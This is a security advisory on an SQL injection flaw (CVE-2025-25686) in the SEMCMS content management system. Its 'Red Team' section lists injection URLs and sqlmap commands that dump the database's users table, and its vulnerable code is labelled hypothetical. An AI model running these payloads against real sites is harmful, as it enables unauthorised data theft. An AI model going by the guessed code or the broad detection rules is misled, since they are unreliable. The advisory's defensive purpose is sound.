CVE-2025-25686

Executive Summary

CVE-2025-25686 is a critical SQL Injection vulnerability discovered in SEMCMS, a content management system, affecting versions up to and including 5.0. The flaw resides in the SEMCMS_Fuction.php file, allowing an unauthenticated attacker to inject arbitrary SQL commands via unsanitized user input. This can lead to unauthorized data access, data exfiltration, and potential full database compromise. No official patch has been released, and public proof-of-concept (PoC) code is available, increasing the risk of exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the SEMCMS PHP application.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the nature of the vulnerability, a reasonable assessment is:

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only affected component.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted or destroyed.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote, unauthenticated exploitation with high impact makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the SEMCMS_Fuction.php file. The application fails to properly sanitize user-supplied input before incorporating it into SQL queries. An attacker can manipulate input parameters (likely GET or POST parameters) to break out of the intended SQL syntax and execute arbitrary commands.

Vulnerable Code Pattern (Hypothetical):

// SEMCMS_Fuction.php (vulnerable)
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);

The $id variable is directly concatenated into the SQL query without any escaping or parameterization. An attacker can provide a value like 1 OR 1=1 to retrieve all records, or 1 UNION SELECT ... to extract data from other tables.

Vulnerable vs. Patched Code

Vulnerable Code (SEMCMS <= 5.0):

// SEMCMS_Fuction.php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical - No official patch):

// SEMCMS_Fuction.php (patched)
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);

Or, using prepared statements:

// SEMCMS_Fuction.php (patched)
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable instance of SEMCMS <= 5.0.
• A web browser or tool like curl, sqlmap, or Burp Suite.

Exploitation Steps:

1. Identify the vulnerable parameter. Common parameters in SEMCMS include id, uid, catid, etc. Use a simple test:

   http://target.com/SEMCMS_Fuction.php?id=1'
   

   If an SQL error is returned, the parameter is likely vulnerable.

2. Manual Exploitation (Boolean-based):

   http://target.com/SEMCMS_Fuction.php?id=1 AND 1=1
   http://target.com/SEMCMS_Fuction.php?id=1 AND 1=2
   

   Observe differences in response to confirm injection.

3. Data Extraction (UNION-based):

   http://target.com/SEMCMS_Fuction.php?id=1 UNION SELECT 1,2,3,4,5--
   

   Adjust the number of columns to match the original query. Then extract data:

   http://target.com/SEMCMS_Fuction.php?id=1 UNION SELECT 1,@@version,3,4,5--
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/SEMCMS_Fuction.php?id=1" --batch --dbs
   sqlmap -u "http://target.com/SEMCMS_Fuction.php?id=1" -D semcms_db --tables
   sqlmap -u "http://target.com/SEMCMS_Fuction.php?id=1" -D semcms_db -T users --dump
   

Blue Team

Detection & Prevention:

1. Web Application Firewall (WAF) Rules: Block requests containing SQL injection patterns (e.g., OR 1=1, UNION SELECT, --).
2. Input Validation: Ensure all user inputs are validated and sanitized. Use allowlists for expected values.
3. Parameterized Queries: Enforce the use of prepared statements or stored procedures in the application code.
4. Database Hardening: Use least-privilege database accounts. Do not use root or admin for web applications.
5. Logging & Monitoring: Monitor web server logs for suspicious SQL injection attempts (e.g., error messages, unusual query patterns).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing SQL keywords in GET/POST parameters (e.g., UNION, SELECT, OR, AND, --, #).
  • Requests to SEMCMS_Fuction.php with abnormal parameter values.
  • Outbound database connections from the web server to unusual IPs (data exfiltration).

• Host IOCs:

  • Unexpected database error messages in web server logs.
  • New files or modified files in the web root (e.g., webshells).
  • Unusual database queries in database logs (e.g., SELECT * FROM mysql.user).

• File IOCs:

  • Suspicious files in the SEMCMS directory (e.g., cmd.php, shell.php).

Detection Engineering

YARA Rule

rule CVE_2025_25686_SQLi_SEMCMS {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-25686 in SEMCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25686"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "SEMCMS_Fuction.php" nocase
        $s2 = "id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "AND" nocase
        $s7 = "--" nocase
        $s8 = "#" nocase
    condition:
        $s1 and $s2 and (any of ($s3, $s4, $s5, $s6, $s7, $s8))
}

Sigma Rule

title: SQL Injection Attempt Against SEMCMS CVE-2025-25686
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting SEMCMS_Fuction.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25686
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'SEMCMS_Fuction.php'
            - 'id='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR '
        - 'AND '
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word 'OR' or 'AND' in a search query (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25686 SQL Injection Attempt - SEMCMS"; flow:to_server,established; content:"SEMCMS_Fuction.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|OR |AND |--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: If possible, take the vulnerable SEMCMS instance offline or restrict network access to trusted IPs only.
2. Apply Virtual Patching: Use a WAF to block SQL injection patterns targeting SEMCMS_Fuction.php.
3. Manual Code Fix: If you have access to the source code, apply input validation and parameterized queries as shown in the "Vulnerable vs. Patched Code" section.

Long-Term Actions:

1. Upgrade: Monitor the SEMCMS vendor for an official patch. If none is released, consider migrating to a different, actively maintained CMS.
2. Secure Development: Implement secure coding practices, including input validation, output encoding, and parameterized queries.
3. Regular Audits: Conduct regular security audits and penetration testing of web applications.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For further assistance, contact [your-email@example.com].